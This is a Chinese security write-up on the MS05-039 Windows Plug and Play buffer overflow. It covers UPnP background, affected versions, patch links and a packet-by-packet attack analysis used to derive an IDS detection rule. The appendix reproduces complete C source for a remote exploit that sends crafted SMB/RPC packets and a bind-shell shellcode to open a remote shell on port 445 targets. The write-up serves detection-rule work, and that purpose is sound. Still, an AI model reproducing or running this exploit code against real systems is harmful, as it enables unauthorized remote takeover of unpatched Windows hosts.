Ms-05039漏洞原理分析
——缓冲区溢出攻击攻击
何恐 3/7/2006
1. 漏洞概况
这个漏洞最初由www.ISS.net的Neel Mehta发现,CVE候选编号为CAN-2005-1983。Microsoft Windows即插即用(PnP)功能允许操作系统在安装新硬件时能够检测到这些设备,由于该功能中存在缓冲区溢出漏洞,成功利用这个漏洞的攻击者可以完全控制受影响的系统。该漏洞的起因是PnP服务处理包含有过多数据的畸形消息的方式。在Windows 2000上,匿名用户可以通过发送特制消息来利用这个漏洞;在Windows XP Service Pack 1上,只有通过认证的用户才能发送恶意消息;在Windows XP Service Pack 2和Windows Server 2003上,攻击者必需本地登陆到系统然后运行特制的应用程序才能利用这个漏洞。目前已经出现了利用此漏洞进行传播的网络蠕虫。漏洞官方详细说明: http://www.microsoft.com/technet/security/Bulletin/MS05-039.mspx?pf=true
2. UPNP(通用即插即用)原理
借助于操作系统的即插即用(PnP)能力,用户可以非常轻松地在PC上安装、配置和添加外围设备。通用即插即用(Universal Plug and Play,UPnP)进一步提升了这种简化性,它将整个网络包括在内,实现了网络设备和服务的发现和控制,例如网络打印机、Internet网关和消费类电子设备。
UPnP不仅仅是对即插即用外设模型的简单扩展。它旨在实现一种“零”配置和“隐性”的联网过程,自动发现和控制来自各家厂商的各种网络设备。
借助 UpnP(通用即插即用)技术,设备可以动态加入到网络中并获得 IP 地址、传达功能以及了解其它设备的存在和性能--所有这一切都是自动进行的,从而使得零配置的网络真正成为可能。此后,设备之间可以直接通讯,这又进一步地实现了对等网络功能。
可以从启用了 UPnP 技术的网络获益的设备种类包括智能设备、无线设备和具有各种组成元素的 PC。
UPnP 的作用范围非常广,足以容纳多种现有的应用和激动人心的新应用(包括家庭自动化、打印和图像处理、音频/视频娱乐、厨房设备、汽车网络以及公共场所的临近性网络)。
UPnP 使用标准的 TCP/IP 和 Internet 协议,这使它可以无缝地融合到现有的网络中。通过使用这些标准化的协议,UPnP 从现有的经验和知识财富中受益无穷,并且使得互操作性成为其与生俱来的功能。
由于 UPnP 属于分布式开放网络的架构(这是由它使用的协议定义的),因此它不依赖于任何特定的操作系统、编程语言或物理媒体(正如同 Internet)。UPnP 并未指定应用程序应该使用哪种 API,因此操作系统供应商可以创建满足其用户需求的 API。
通用即插即用协会 (Universal Plug and Play Forum) 根据 Microsoft 起草的通用设备架构定义了 UPnP 设备和服务规范(UPnP Device and Service Descriptions,最开始叫“设备控制协议(Device Control Protocols,DCP))。通用即插即用协会是由遍布全行业的公司和个人组成的团体,旨在率先创建 UPnP 设备和服务的规范。该协会成立于 1999 年 10 月 18 日,包括 340 多家在家电、计算、家庭自动化和安全、家用设备、计算机网络以及汽车设备行业中的领军者。
该协会的目标是推出易于连接的设备和简化家庭和公司环境中的网络实现。为实现这一目标,该协会基于开放的 Internet 通讯标准定义并公布了 UPnP 设备和服务规范。
UPnP 提供了控制点和设备之间的通讯支持。网络媒体、TCP/IP 协议集以及 HTTP 提供了基本的网络连接条件和所需的地址。UPnP 在这些开放的、标准的 Internet 协议基础上定义了一组 HTTP 服务器来处理发现、描述、控制、事件和演示。本节介绍了如何使用在本文开头部分定义的协议来提供上述需求。
UPNP协议集:
UPnP 设备架构定义了任何设备或服务类型创建设备和服务规范的纲要或模板。
各个工作委员会对不同的设备和服务类型进行了后续的标准化,并创建了各个设备或服务类型的模板。
最后,供应商在该模板中填充特定于设备或服务的信息,如设备名称、型号、厂商名称以及有关服务介绍的 URL。
此后,这些数据会被封装在特定于 UPnP 的协议(这些协议是在 XML 设备规范模板之类的 UPnP 设备架构文档中定义的)中。
将所要求的 UPnP 特定信息插入所有消息中,然后用 SSDP、GENA 和SOAP 将这些消息格式化并通过 HTTP、HTTPU 或 HTTPMU 分发。
总结:UPnP 基于有线协议(正如 Internet),而不是基于 API,这使得它所面对的确实是未知的媒体和平台。 UPnP 基于现有标准,能够轻松地实现互操作性。尽管基于标准,但 UPnP 同时具有灵活性,并且可以满足当前和未来的网络设备需要。
3. 受影响的系统
1)Microsoft Windows 2000 Service Pack 4
2)Microsoft Windows XP Service Pack 1、Service Pack 2
3)Microsoft Windows XP Professional x64 Edition
4)Microsoft Windows Server 2003 、Microsoft Windows Server 2003 Service Pack 1
5)Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
6)Microsoft Windows Server 2003 x64 Edition
以下系统不受影响
Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), Microsoft Windows Millennium Edition (ME),即:win9x架构的windows版本不受影响。
补丁下载:
Microsoft Windows 2000 Service Pack 4:
http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyId=E39A3D96-1C37-47D2-82EF-0AC89905C88F
Microsoft Windows XP Service Pack 1和Microsoft Windows XP Service Pack 2:
http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyId=9A3BFBDD-62EA-4DB2-88D2-415E095E207F
Microsoft Windows XP Professional x64 Edition:
http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyId=89D90E25-4773-4782-AD06-9B7517BAB3C8
Microsoft Windows Server 2003和Microsoft Windows Server 2003 Service Pack 1:
http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyId=6275D7B7-DAB1-47C8-8745-533EB471072C
Microsoft Windows Server 2003 for Itanium-based Systems和Microsoft Windows Server 2003 with SP1 for Itanium-based Systems:
http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyId=BE18D39D-3E4C-4C6F-B841-2CCD8D4C3F50
Microsoft Windows Server 2003 x64 Edition:
http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyId=D976316D-3B17-4AD4-9198-513FFDAC98E4
4. 攻击过程的实例分析
在实际网络环境中,采用网上搜集到的程序进行了实际攻击,并且成功溢出了远程主机。由于windows 的upnp源码未开放,采取利用工具攻击,事后分析数据传输过程的方法来分析攻击的原理。攻击过程抓包图如下:
分析:
首先,攻击程序首先和upnp服务器经过3次握手建立TCP连接(包1~4);然后,攻击端连接服务器的445端口(也可能是139或者其他端口),进行upnp应用层协议协商(5~6)。其中,NTLMSSP属于windows的NTLM解析组件。。9~10进行授权认证的过程。11~14,攻击端向服务器AndX组件发起Tree connect请求,服务端接受后,成功返回一个AndX请求对象。15~17是关键攻击过程,也就是缓冲区溢出过程。缓冲区溢出的对象就是:上一步返回的AndX请求对象。15是攻击端向服务器发送BIND指令请求。(可以理解为Microsoft 实现的UPNP的协议一部分,DCERPC是一个DCOM组件),16是服务端接受指令的应答。在17,攻击开始了,攻击端向服务端发送一畸形消息使得服务端产生缓冲区溢出,并成功的返回倒shellcode,返回一个控制符。17之后的属于攻击成功后的控制,在次不必叙述。攻击串集中在17中的STUB DATA内。如图:
经过多工具测试和比对程序源代码,发现17中的串:"|eb 08 90 90 67 15 7a 76|"和"|90 90 90 90 90 90 90 eb 08 90 90 48 4f 44 88 90|属于必不可少的特征,抽取出来作为检测的关键字。这两个串是属于溢出的畸形消息的一部分,属于必不可少的特征字。自此,撰写检测规则10113如下,
alert tcp $ EXTERNAL_NET any -> $ HOME_NET 445 (msg:" 检测到外部主机利用Microsoft Windows即插即用(PnP)缓冲区溢出漏洞(ms05-039)攻击内部主机";flags:A+;content:"|eb 08 90 90 67 15 7a 76|";content:"|90 90 90 90 90 90 90 eb 08 90 90 48 4f 44 88 90|";sid:10113;rev:1;)
经过多工具黑盒测试,该规则准确有效。
结论:该漏洞的根本原因在于Windows的AndX组件处理消息机制缺陷,没有对消息进行边界检查,从而导致了缓冲区溢出。具体属于堆溢出还是栈溢出、整数溢出,通过目前的资料掌握,该漏洞属于堆溢出。相关未尽细节,也可参考程序实例:ms05039.c。通过程序来分析攻击过程也是可以的。
通过试验看出,Ethereal对SAMBA解析的层数非常深,解析的非常之好,是个很好的辅助分析工具。
5. 规则综合分析
5.1 综合评价
1)该规则对于目前流传的主要攻击工具精确有效;
2)另外从原理的分析过程中也可以看到,windows的UPNP实现是个复杂的系统,所谓UPNP漏洞,根本是源自于内部组件的漏洞。关于ANDX消息处理漏洞的溢出代码,可以有不只一种写法。所以利用已知工具去分析写规则不是根本的防治办法。因此,该规则具有漏报的可能性盒检测面的局限性。
3.1. 5.2 改进意见
目前改进手段:随时关注网络出现的新的关于ms-05039利用的攻击工具,及时测试及时添加新规则。同事加强对堆溢出的研究工作。
结论:保留该规则
6. 附:攻击程序
<ms05039.c>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma resource "D://borland//bcc55//bin//ms05039.RES"
#define ID_HOST 2
#define ID_PORT 4
#define ID_ATTACK 5
#define ID_LIST 6
BOOL CALLBACK MainDlgProc(HWND, UINT, WPARAM, LPARAM);
HWND g_hWnd;
HINSTANCE g_hInstance;
unsigned char SMB_Negotiate[] =
"/x00/x00/x00/x85/xFF/x53/x4D/x42/x72/x00/x00/x00/x00/x18/x53/xC8"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/xFF/xFE"
"/x00/x00/x00/x00/x00/x62/x00/x02/x50/x43/x20/x4E/x45/x54/x57/x4F"
"/x52/x4B/x20/x50/x52/x4F/x47/x52/x41/x4D/x20/x31/x2E/x30/x00/x02"
"/x4C/x41/x4E/x4D/x41/x4E/x31/x2E/x30/x00/x02/x57/x69/x6E/x64/x6F"
"/x77/x73/x20/x66/x6F/x72/x20/x57/x6F/x72/x6B/x67/x72/x6F/x75/x70"
"/x73/x20/x33/x2E/x31/x61/x00/x02/x4C/x4D/x31/x2E/x32/x58/x30/x30"
"/x32/x00/x02/x4C/x41/x4E/x4D/x41/x4E/x32/x2E/x31/x00/x02/x4E/x54"
"/x20/x4C/x4D/x20/x30/x2E/x31/x32/x00";
unsigned char SMB_SessionSetupAndX[] =
"/x00/x00/x00/xA4/xFF/x53/x4D/x42/x73/x00/x00/x00/x00/x18/x07/xC8"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/xFF/xFE"
"/x00/x00/x10/x00/x0C/xFF/x00/xA4/x00/x04/x11/x0A/x00/x00/x00/x00"
"/x00/x00/x00/x20/x00/x00/x00/x00/x00/xD4/x00/x00/x80/x69/x00/x4E"
"/x54/x4C/x4D/x53/x53/x50/x00/x01/x00/x00/x00/x97/x82/x08/xE0/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x57/x00/x69/x00/x6E/x00/x64/x00/x6F/x00/x77/x00/x73/x00/x20/x00"
"/x32/x00/x30/x00/x30/x00/x30/x00/x20/x00/x32/x00/x31/x00/x39/x00"
"/x35/x00/x00/x00/x57/x00/x69/x00/x6E/x00/x64/x00/x6F/x00/x77/x00"
"/x73/x00/x20/x00/x32/x00/x30/x00/x30/x00/x30/x00/x20/x00/x35/x00"
"/x2E/x00/x30/x00/x00/x00/x00/x00";
unsigned char SMB_SessionSetupAndX2[] =
"/x00/x00/x00/xDA/xFF/x53/x4D/x42/x73/x00/x00/x00/x00/x18/x07/xC8"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/xFF/xFE"
"/x00/x08/x20/x00/x0C/xFF/x00/xDA/x00/x04/x11/x0A/x00/x00/x00/x00"
"/x00/x00/x00/x57/x00/x00/x00/x00/x00/xD4/x00/x00/x80/x9F/x00/x4E"
"/x54/x4C/x4D/x53/x53/x50/x00/x03/x00/x00/x00/x01/x00/x01/x00/x46"
"/x00/x00/x00/x00/x00/x00/x00/x47/x00/x00/x00/x00/x00/x00/x00/x40"
"/x00/x00/x00/x00/x00/x00/x00/x40/x00/x00/x00/x06/x00/x06/x00/x40"
"/x00/x00/x00/x10/x00/x10/x00/x47/x00/x00/x00/x15/x8A/x88/xE0/x48"
"/x00/x4F/x00/x44/x00/x00/xED/x41/x2C/x27/x86/x26/xD2/x59/xA0/xB3"
"/x5E/xAA/x00/x88/x6F/xC5/x57/x00/x69/x00/x6E/x00/x64/x00/x6F/x00"
"/x77/x00/x73/x00/x20/x00/x32/x00/x30/x00/x30/x00/x30/x00/x20/x00"
"/x32/x00/x31/x00/x39/x00/x35/x00/x00/x00/x57/x00/x69/x00/x6E/x00"
"/x64/x00/x6F/x00/x77/x00/x73/x00/x20/x00/x32/x00/x30/x00/x30/x00"
"/x30/x00/x20/x00/x35/x00/x2E/x00/x30/x00/x00/x00/x00/x00";
unsigned char SMB_TreeConnectAndX[] =
"/x00/x00/x00/x5A/xFF/x53/x4D/x42/x75/x00/x00/x00/x00/x18/x07/xC8"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/xFF/xFE"
"/x00/x08/x30/x00/x04/xFF/x00/x5A/x00/x08/x00/x01/x00/x2F/x00/x00";
unsigned char SMB_TreeConnectAndX_[] =
"/x00/x00/x3F/x3F/x3F/x3F/x3F/x00";
/* browser */
unsigned char SMB_PipeRequest_browser[] =
"/x00/x00/x00/x66/xFF/x53/x4D/x42/xA2/x00/x00/x00/x00/x18/x07/xC8"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x08/x78/x04"
"/x00/x08/x40/x00/x18/xFF/x00/xDE/xDE/x00/x10/x00/x16/x00/x00/x00"
"/x00/x00/x00/x00/x9F/x01/x02/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x01/x00/x00/x00/x40/x00/x00/x00"
"/x02/x00/x00/x00/x03/x13/x00/x00/x5C/x00/x62/x00/x72/x00/x6F/x00"
"/x77/x00/x73/x00/x65/x00/x72/x00/x00/x00";
unsigned char SMB_PNPEndpoint[] =
/* 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0: pnp */
"/x00/x00/x00/x9C/xFF/x53/x4D/x42/x25/x00/x00/x00/x00/x18/x07/xC8"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x08/x78/x04"
"/x00/x08/x50/x00/x10/x00/x00/x48/x00/x00/x00/x00/x10/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x54/x00/x48/x00/x54/x00/x02"
"/x00/x26/x00/x00/x40/x59/x00/x00/x5C/x00/x50/x00/x49/x00/x50/x00"
"/x45/x00/x5C/x00/x00/x00/x40/x00/x05/x00/x0B/x03/x10/x00/x00/x00"
"/x48/x00/x00/x00/x01/x00/x00/x00/xB8/x10/xB8/x10/x00/x00/x00/x00"
"/x01/x00/x00/x00/x00/x00/x01/x00/x40/x4E/x9F/x8D/x3D/xA0/xCE/x11"
"/x8F/x69/x08/x00/x3E/x30/x05/x1B/x01/x00/x00/x00/x04/x5D/x88/x8A"
"/xEB/x1C/xC9/x11/x9F/xE8/x08/x00/x2B/x10/x48/x60/x02/x00/x00/x00";
unsigned char RPC_call[] =
"/x00/x00/x08/x90/xFF/x53/x4D/x42/x25/x00/x00/x00/x00/x18/x07/xC8"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x08/x78/x04"
"/x00/x08/x60/x00/x10/x00/x00/x3C/x08/x00/x00/x00/x01/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x54/x00/x3C/x08/x54/x00/x02"
"/x00/x26/x00/x00/x40/x4D/x08/x00/x5C/x00/x50/x00/x49/x00/x50/x00"
"/x45/x00/x5C/x00/x00/x00/x40/x00/x05/x00/x00/x03/x10/x00/x00/x00"
"/x3C/x08/x00/x00/x01/x00/x00/x00/x24/x08/x00/x00/x00/x00/x36/x00"
"/x11/x00/x00/x00/x00/x00/x00/x00/x11/x00/x00/x00/x52/x00/x4F/x00"
"/x4F/x00/x54/x00/x5C/x00/x53/x00/x59/x00/x53/x00/x54/x00/x45/x00"
"/x4D/x00/x5C/x00/x30/x00/x30/x00/x30/x00/x30/x00/x00/x00/x00/x00"
"/xFF/xFF/x00/x00/xE0/x07/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/xC0/x07/x00/x00/x00/x00/x00/x00/x90/x90/x90/x90/x90/x90/x90/x90"
"/xEB/x08/x90/x90/x67/x15/x7a/x76/xEB/x08/x90/x90/x67/x15/x7a/x76"
"/xEB/x08/x90/x90/x67/x15/x7a/x76/xEB/x08/x90/x90/x67/x15/x7a/x76"
"/xEB/x08/x90/x90/x67/x15/x7a/x76/xEB/x08/x90/x90/x67/x15/x7a/x76"
"/xEB/x08/x90/x90/x67/x15/x7a/x76/xEB/x08/x90/x90/x67/x15/x7a/x76"
/* jmp over - entry point */
"/xEB/x08/x90/x90"
/* pop reg; pop reg; retn; - umpnpmgr.dll */
"/x67/x15/x7a/x76" /* 0x767a1567 */
/* jmp ebx - umpnpmgr.dll
"/x6f/x36/x7a/x76" */
"/xEB/x08/x90/x90/x67/x15/x7a/x76"
"/x90/x90/x90/x90/x90/x90/x90/xEB/x08/x90/x90/x48/x4F/x44/x88/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90";
unsigned char RPC_call_end[] =
"/xE0/x07/x00/x00/x04/x00/x00/x00/x00/x00/x00/x00";
unsigned char bind_shellcode[] =
"/x29/xc9/x83/xe9/xb0/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x19"
"/xf5/x04/x37/x83/xeb/xfc/xe2/xf4/xe5/x9f/xef/x7a/xf1/x0c/xfb/xc8"
"/xe6/x95/x8f/x5b/x3d/xd1/x8f/x72/x25/x7e/x78/x32/x61/xf4/xeb/xbc"
"/x56/xed/x8f/x68/x39/xf4/xef/x7e/x92/xc1/x8f/x36/xf7/xc4/xc4/xae"
"/xb5/x71/xc4/x43/x1e/x34/xce/x3a/x18/x37/xef/xc3/x22/xa1/x20/x1f"
"/x6c/x10/x8f/x68/x3d/xf4/xef/x51/x92/xf9/x4f/xbc/x46/xe9/x05/xdc"
"/x1a/xd9/x8f/xbe/x75/xd1/x18/x56/xda/xc4/xdf/x53/x92/xb6/x34/xbc"
"/x59/xf9/x8f/x47/x05/x58/x8f/x77/x11/xab/x6c/xb9/x57/xfb/xe8/x67"
"/xe6/x23/x62/x64/x7f/x9d/x37/x05/x71/x82/x77/x05/x46/xa1/xfb/xe7"
"/x71/x3e/xe9/xcb/x22/xa5/xfb/xe1/x46/x7c/xe1/x51/x98/x18/x0c/x35"
"/x4c/x9f/x06/xc8/xc9/x9d/xdd/x3e/xec/x58/x53/xc8/xcf/xa6/x57/x64"
"/x4a/xa6/x47/x64/x5a/xa6/xfb/xe7/x7f/x9d/x1a/x55/x7f/xa6/x8d/xd6"
"/x8c/x9d/xa0/x2d/x69/x32/x53/xc8/xcf/x9f/x14/x66/x4c/x0a/xd4/x5f"
"/xbd/x58/x2a/xde/x4e/x0a/xd2/x64/x4c/x0a/xd4/x5f/xfc/xbc/x82/x7e"
"/x4e/x0a/xd2/x67/x4d/xa1/x51/xc8/xc9/x66/x6c/xd0/x60/x33/x7d/x60"
"/xe6/x23/x51/xc8/xc9/x93/x6e/x53/x7f/x9d/x67/x5a/x90/x10/x6e/x67"
"/x40/xdc/xc8/xbe/xfe/x9f/x40/xbe/xfb/xc4/xc4/xc4/xb3/x0b/x46/x1a"
"/xe7/xb7/x28/xa4/x94/x8f/x3c/x9c/xb2/x5e/x6c/x45/xe7/x46/x12/xc8"
"/x6c/xb1/xfb/xe1/x42/xa2/x56/x66/x48/xa4/x6e/x36/x48/xa4/x51/x66"
"/xe6/x25/x6c/x9a/xc0/xf0/xca/x64/xe6/x23/x6e/xc8/xe6/xc2/xfb/xe7"
"/x92/xa2/xf8/xb4/xdd/x91/xfb/xe1/x4b/x0a/xd4/x5f/xf6/x3b/xe4/x57"
"/x4a/x0a/xd2/xc8/xc9/xf5/x04/x37";
#define SET_PORTBIND_PORT(buf, port) /
*(unsigned short *)(((buf)+186)) = (port)
void convert_name(char *out, char *name)
{
unsigned long len;
len = strlen(name);
out += len * 2 - 1;
while (len--) {
*out-- = '/x00';
*out-- = name[len];
}
}
DWORD WINAPI Attack(LPVOID lparam)
{
HWND hlist,hDlg=(HWND)lparam;
char szHost[15],szPort[6];
struct sockaddr_in addr;
struct hostent *he;
int len;
int sockfd;
unsigned short smblen;
unsigned short bindport;
unsigned char tmp[1024];
unsigned char packet[4096];
unsigned char *ptr;
char recvbuf[4096];
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
GetDlgItemText(hDlg,ID_HOST, szHost, sizeof(szHost));
GetDlgItemText(hDlg,ID_PORT, szPort, sizeof(szPort));
hlist=GetDlgItem(hDlg,ID_LIST);
if ((he = gethostbyname(szHost)) == NULL) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"Unable to resolve");
return FALSE;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"socket failed");
return FALSE;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(445);
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), '/0', 8);
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"connecting to port:445...");
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"connect failed");
return FALSE;
}
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"null session...");
if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"send failed");
return FALSE;
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"failed");
return FALSE;
}
if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"send failed");
return FALSE;
}
len = recv(sockfd, recvbuf, 4096, 0);
if (len <= 10) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"failed");
return FALSE;
}
if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"send failed");
return FALSE;
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"failed");
return FALSE;
}
ptr = packet;
memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
ptr += sizeof(SMB_TreeConnectAndX)-1;
sprintf(tmp, "%s//IPC$", szHost);
convert_name(ptr, tmp);
smblen = strlen(tmp)*2;
ptr += smblen;
smblen += 9;
memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);
memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
ptr += sizeof(SMB_TreeConnectAndX_)-1;
smblen = ptr-packet;
smblen -= 4;
memcpy(packet+3, &smblen, 1);
if (send(sockfd, packet, ptr-packet, 0) < 0) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"send failed");
return FALSE;
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"failed");
return FALSE;
}
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"bind pipe...");
if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"send failed");
return FALSE;
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"failed");
return FALSE;
}
if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"send failed");
return FALSE;
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"failed");
return FALSE;
}
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"sending crafted packet...");
// nop
ptr = packet;
memset(packet, '/x90', sizeof(packet));
// header & offsets
memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
ptr += sizeof(RPC_call)-1;
// shellcode
bindport = (unsigned short)atoi(szPort);
bindport ^= 0x0437;
SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);
// end of packet
memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
RPC_call_end,
sizeof(RPC_call_end)-1);
// sending...
if (send(sockfd, packet, 2196, 0) < 0) {
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"send failed");
return FALSE;
}
SendMessage(hlist,LB_ADDSTRING,0,(LPARAM)"ok,check your shell");
recv(sockfd, recvbuf, 4096, 0);
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PSTR szCmdLine,int iCmdShow)
{
g_hInstance=hInstance;
DialogBox(hInstance, TEXT ("DIALOG_0"), NULL, (DLGPROC)MainDlgProc);
return 0;
}
BOOL CALLBACK MainDlgProc(HWND hDlg,UINT message,WPARAM wParam,LPARAM lParam)
{
switch (message)
{
case WM_INITDIALOG:
g_hWnd = hDlg;
break;
case WM_COMMAND:
switch (LOWORD (wParam))
{
case ID_ATTACK:
{
CreateThread(NULL,NULL,Attack,(LPVOID)hDlg,NULL,NULL);
}
break;
}
break;
case WM_CLOSE:
EndDialog(hDlg,0);
break;
}
return FALSE; ;
}
7. 对应BUG库
BUGTRAQ ID: 14513
CVE(CAN) ID: CVE-2005-1983